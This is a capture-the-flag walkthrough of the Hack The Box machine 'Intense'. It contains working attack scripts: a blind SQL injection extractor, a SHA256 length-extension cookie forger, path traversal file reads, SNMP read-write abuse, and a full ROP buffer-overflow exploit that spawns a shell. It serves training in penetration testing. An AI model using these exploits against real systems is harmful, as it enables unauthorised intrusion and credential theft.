Enumeration
Nmap:
# Nmap 7.80 scan initiated Sat Jul 11 17:54:15 2020 as: nmap -sC -sV -oN nmap 10.10.10.195
Nmap scan report for 10.10.10.195
Host is up (0.043s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
| 256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
|_ 256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Intense - WebApp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 11 17:54:24 2020 -- 1 IP address (1 host up) scanned in 8.86 seconds
UDP Scan:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-14 00:04 CEST
Nmap scan report for intense.htb (10.10.10.195)
Host is up (0.038s latency).
Not shown: 956 closed ports, 43 open|filtered ports
PORT STATE SERVICE
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 950.87 seconds
Website:
We can login with guest:guest
and also download the source code of the application.
src: http://10.10.10.195/src.zip
After logging in we are greeted with a friendly message telling us not to rely on automated tools ;)
We also see a page called “Submit” though it doesn’t actually require any authentication. It is possible to submit message but we don’t get any feedback or response.
SNMP
Running snmpwalk with the public
community string we can see some information, though it’s not what we would expect from snmp. Usually there is more information to be retrieved
root@[10.10.14.14]:~/htb/intense# snmpwalk -c public -v2c 10.10.10.195
iso.3.6.1.2.1.1.1.0 = STRING: "Linux intense 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1304662) 3:37:26.62
iso.3.6.1.2.1.1.4.0 = STRING: "Me <user@intense.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "intense"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (130) 0:00:01.30
[...] Cut off for writeup
Let’s move on and keep this in mind
Source Code
The webserver is a Flask python application and the folder structure looks like this:
In the source code we can see different functionalites like login, cookie handling, admin functions and the message submit.
Let’s look at the submit function first.
@app.route("/submitmessage", methods=["POST"])
def submitmessage():
message = request.form.get("message", '')
if len(message) > 140:
return "message too long"
if badword_in_str(message):
return "forbidden word in message"
# insert new message in DB
try:
# the following query is NOT safe
query_db("insert into messages values ('%s')" % message)
except sqlite3.Error as e:
return str(e)
return "OK"
Only messages up to 140 characters are allowed, then it’s checking for some blacklisted words with badword_in_str(message)
and lastly running a database query which seems to simply insert our message into a table.
It’s easy to spot that there is a SQLi vulnerability since it simply uses python string formatting and not a prepared statement.
We can see how it should be done in the try_login function
def try_login(form):
""" Try to login with the submitted user info """
if not form:
return None
username = form["username"]
password = hash_password(form["password"])
# The followng query is safe
result = query_db(
"select count(*) from users where username = ? and secret = ?",
(username, password),
one=True)
if result and result[0]:
return {"username": username, "secret":password}
return None
SQL Injection
There are some things that can be done to exploit SQL injections in a sqlite3 database. One might stumble accross this handy cheat sheet: https://github.com/unicornsasfuel/sqlite_sqli_cheat_sheet We can’t do regular boolean blind based injection since we have no output if our query succeeded or not. We can’t do stacked queries since they’re also disabled by default. We can’t do time-based extraction since the term “rand” is blacklisted along with a few others.
def badword_in_str(data):
data = data.lower()
badwords = ["rand", "system", "exec", "date"]
for badword in badwords:
if badword in data:
return True
return False
After some poking we figure out that we can’t actually write anything to the sqlite3 db, because it’s not commiting after our query. That means this insertion is useless anyway. The load_extension() RCE is also disabled, or at least shows us an error.
I used string concatenation and used sub selects to issue other queries:
Why are we able to see an error? Let’s look at the code again
try:
query_db("insert into messages values ('%s')" % message)
except sqlite3.Error as e:
return str(e) # BINGO!
return "OK"
If there is an error it returns it as a string to us, so we get a different output. That way we have a function to check if our query was successful or not. I figured that with load_extension() the error is raised on runtime, meaing we only see the error if we actually reach that part of the query.
Now it’s possible to extract information by changing it to a boolean blind injection like this:
We already know there is a user with the username “guest”. We also know some structures of the db by looking at the source code. The conditionals for sqlite are also covered in the cheat sheet.
If we input a wrong username, our conditional won’t succeed and simply print an “OK” instead of the “not authorized” error that is caused by load_extension().
'||(select CASE username WHEN 'nonexistent' THEN load_extension(1) end from users where username = 'guest'))--
Now we can use the usual methods to extract information by using the SQL LIKE Operator
A query to extract the secret column step by step could look like this:
'||(select CASE username WHEN 'admin' THEN load_extension(1) end from users where secret like '{}%'))--
(While doing this box i set up a local environment and tested it against my own sqlite3 database. That way it’s much easier to see what’s working and what’s not)
Finally I created a script to do the boring work for me. While writing that script I was reminded that the query must not exceed 140 characters. To bypass that I extracted the front part of the secret, then the back part and mashed them together.
There might be a smarter way, but it worked for me.
Scripting it
Looking at it now, I realize that the login step probably isn’t needed after all.
import requests
username = 'guest'
password = 'guest'
url = 'http://127.0.0.1:5000'
url = 'http://10.10.10.195'
def login(url,username,password):
url_login = url + '/postlogin'
with requests.Session() as s:
data={'username':username, 'password':password}
s.post(url_login, data=data, allow_redirects=False)
resp = s.get(url, allow_redirects=False)
return s.cookies
def sqli(user):
cookies = login(url,username,password)
payload = """'||(select CASE username WHEN '{}' THEN load_extension(1) end from users where secret like '{}%'))--"""
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&()*+,-./:;<=>?@[]^_`{|}~'
secret = ''
for x in range(0,40):
for c in charset:
query = payload.format(user,secret+c)
r = requests.post(url+'/submitmessage',cookies=cookies,data={'message':query})
if r.text == 'not authorized':
secret = secret + c
print('Secret: '+secret)
break
return secret
def sqli2(user):
cookies = login(url,username,password)
payload = """'||(select CASE username WHEN '{}' THEN load_extension(1) end from users where secret like '%{}'))--"""
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&()*+,-./:;<=>?@[]^_`{|}~'
secret = ''
for x in range(0,40):
for c in charset:
query = payload.format(user,c+secret)
r = requests.post(url+'/submitmessage',cookies=cookies,data={'message':query})
if r.text == 'not authorized':
secret = c + secret
print('Secret: '+secret)
break
return secret
part1,part2 = sqli('admin')[:32],sqli2('admin')[-32:]
print('Part 1: {} with length={}'.format(part1,len(part1)))
print('Part 2: {} with length={}'.format(part2,len(part2)))
secret = part1 + part2
print('Recovered Secret: '+secret)
The differences between sqli() and sqli2() are here:
[..] from users where secret like '{}%'))--
sqli()
[..] from users where secret like '%{}'))--
sqli2()
and here
if r.text == 'not authorized':
secret = secret + c
print('Secret: '+secret)
break
if r.text == 'not authorized':
secret = c + secret # Swapped
print('Secret: '+secret)
break
The script is nice enough to present us with the admins password hash
Recovered Secret: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105
We can try to crack the sha256 hash but fast enough we come to the conclusion that it’s not feasable to crack.
Session Cookies & lwt.py
Now is the time where it’s worth into looking how the application handles it’s session cookies. You might have already noticed that the username and secret are actually stored inside the cookie
Decoded it will look like this
The cookie consists of two parts:
- User Information
- Signature
The user information looks like this:
username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;
So if we are able to fake or forge a signature, we should be able to authenticate as the admin user without knowing the plaintext password.
The signature is computed by this function in lwt.py:
def sign(msg):
""" Sign message with secret key """
return sha256(SECRET + msg).digest()
The SECRET value is random and not known by the user
SECRET = os.urandom(randrange(8, 15))
We only know the range of it’s length, it’s between 8 and 15 bytes long. The signature itself is also a sha256 hash, which is base64 encoded and appended to the User Information part.
Attacking SHA256
The SHA256 hashing function aswell as other hashing function of the SHA-family are suspectible to a “Length Extension Attack”.
Details about the attack itself can be found on wikipedia: https://en.wikipedia.org/wiki/Length_extension_attack
There are also writeups about CTF Challenges like this 2014 PlaidCTF one involving this kind of attack: https://conceptofproof.wordpress.com/2014/04/13/plaidctf-2014-web-150-mtgox-writeup/
With this attack we can alter an already valid cookie and forge a new valid signature for it.
We need some things for this to work:
- part of plaintext with a valid signature
- length of the uknown rest of the plaintext (SECRET for us)
Once we know these two things we can forge a cookie with a signature that will be valid without actually knowing the SECRET part.
From then on we can add something to our cookie (the admin user information) and forge a valid signature for it.
By studying (or debugging) the code enough, you will notice that the app will throw away additional user info parts and only use the ones at the end of it. So we can simply add the admin part like so:
username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;
In our case we don’t actually know the exact length of secret, but we know the range it will be in. Since it’s a very small range we can just guess it pretty quickly.
I used the same tool as in the PlaidCTF Writeup, though i used the python library instead of the cli tool. It’s called hashpump
import requests
import hashpumpy
from base64 import b64decode, b64encode
url = 'http://127.0.0.1:5000'
url = 'http://10.10.10.195'
admin = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
session = 'username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;'
def login(url,username,password):
url_login = url + '/postlogin'
with requests.Session() as s:
data={'username':username, 'password':password}
s.post(url_login, data=data, allow_redirects=False)
resp = s.get(url, allow_redirects=False)
return s.cookies
def attack(length):
cookies = login(url,'guest','guest')
data,sig = cookies['auth'].split('.')
hexdigest = b64decode(sig).hex()
return hashpumpy.hashpump(hexdigest,session,admin,length)
for x in range(8,15):
sig,data = attack(x)
auth = str(b64encode(data),'utf-8')+'.'+str(b64encode(bytes.fromhex(sig)),'utf-8')
r = requests.get(url+'/admin',cookies={'auth':auth})
if r.status_code == 200:
print('Success!')
print('Secret Length='+str(x))
print('Cookie: auth='+auth)
break
And sure enough we will receive a valid cookie that logs us in as the admin user!
Local File Inclusion
The admin log functions are both suspectible to path traversal attack, meaning we can read any text file on the system and list all (for us) readable directories.
Please don’t ever use code like this.
#### Logs functions ####
def admin_view_log(filename):
if not path.exists(f"logs/{filename}"):
return f"Can't find {filename}"
with open(f"logs/{filename}") as out:
return out.read()
def admin_list_log(logdir):
if not path.exists(f"logs/{logdir}"):
return f"Can't find {logdir}"
return listdir(logdir)
With this attack we can grab the user.txt file, but to proceed we must first get a shell. Remembering the Enumeration phase, we saw that the udp port 161 was open and had snmp running on it.
Time to look at the snmp configuration file in /etc/snmp/snmpd.conf
agentAddress udp:161
view systemonly included .1.3.6.1.2.1.1
view systemonly included .1.3.6.1.2.1.25.1
rocommunity public default -V systemonly
rwcommunity SuP3RPrivCom90
###############################################################################
#
# SYSTEM INFORMATION
#
# Note that setting these values here, results in the corresponding MIB objects being 'read-only'
# See snmpd.conf(5) for more details
[..] Cut off for writeup
We don’t actually care about what’s being served to snmp, there is something else that looks suspicious.
A custom community with open read-write permissions:
`rwcommunity SuP3RPrivCom90`
This can be abused to get code execution on the system. For our convenience there is an easy to use metasploit module named `exploit/linux/snmp/net_snmpd_rw_access`.
Note Server
in the home directory of the user “user” we can find an application called “note_server” along with it’s source code in “note_server.c”
This is only exploitable with a shell because the note_server is running on 127.0.0.1:5001 which isn’t accessible otherwise. Now we can upload our exploit to the box, or better forward the port to our box with ssh etc.
Exploit
from pwn import *
import struct
#context.log_level = 'debug'
def pad(data,size):
return data+('\x41'*(size-len(data)))
def send_note(data):
r.send('\x01')
r.send(struct.pack('B',len(data))[0])
r.send(data)
def print_note():
# returns and closes socket
r.send('\x03')
def copy_to_end(offset,size):
r.send('\x02')
off = struct.pack('H',offset)
r.send(off)
r.send(struct.pack('B',size)) # reads 1 byte
def leak_canary():
# fill buffer with 1024
send_note('A'*0xff)
send_note('B'*0xff)
send_note('C'*0xff)
send_note('D'*0xff)
send_note('a'*4)
# overflow
copy_to_end(1024,32)
print_note()
r.recv(1024)
rbp = u64(r.recv(8))
canary = u64(r.recv(8))
r.recv(8)
pie_leak = u64(r.recv(8))-0xf54
log.info('Leaked RBP: '+hex(rbp))
log.info('Leaked Canary: '+hex(canary))
log.info('Leaked PIE Base: '+hex(pie_leak))
return canary,rbp,pie_leak
elf = ELF('./note_server')
log.info('Read: '+hex(elf.got['read']))
r = remote('localhost',5001)
canary,rbp,pie = leak_canary()
r = remote('localhost',5001)
log.info('Doing Overflow')
# gadgets
pop_rsi_r15 = 0xfd1
pop_rdi = 0xfd3
system_offset = 0xa5d20 # change (libc)
payload = 'A'*8
payload += p64(canary)
payload += p64(rbp)
payload += p64(pie+elf.plt['read'])
payload += p64(pie+pop_rsi_r15)
payload += p64(pie+elf.got['read'])
payload += p64(0xdecafbad)
payload += p64(pie+0x900) # write
payload += p64(0xdecafbad)
data = pad(payload,0xff)
send_note(data)
send_note('B'*0xff)
send_note('C'*0xff)
send_note('D'*0xff)
send_note('a'*4)
copy_to_end(0,len(payload))
print_note()
r.send('z'*4)
r.recv(0x448)
libc_read = u64(r.recv(8))
r.recv()
log.info('Leaked LIBC Read: '+hex(libc_read))
# final step
libc_base = libc_read - 0x110070 # change
one_gadget = libc_base + 0x4f322 # change
libc_dup2 = libc_base + 0x1109a0 #0xeeeb0 # change (libc)
r = remote('localhost',5001)
log.info('Doing Overflow')
payload = 'A'*8
payload += p64(canary)
payload += p64(rbp)
payload += p64(pie+pop_rdi) # pop rdi
payload += p64(4) # fd4
payload += p64(pie+pop_rsi_r15) # pop rsi r15
payload += p64(0) # fd0 = stdin
payload += p64(0) # r15
payload += p64(libc_dup2)
payload += p64(pie+pop_rdi) # pop rdi
payload += p64(4) # fd4
payload += p64(pie+pop_rsi_r15) # pop rsi r15
payload += p64(1) # fd1 = stdout
payload += p64(0) # r15
payload += p64(libc_dup2)
payload += p64(one_gadget)
data = pad(payload,0xff)
send_note(data)
send_note('B'*0xff)
send_note('C'*0xff)
send_note('D'*0xff)
send_note('a'*4)
copy_to_end(0,len(payload))
print_note()
r.recv()
r.interactive()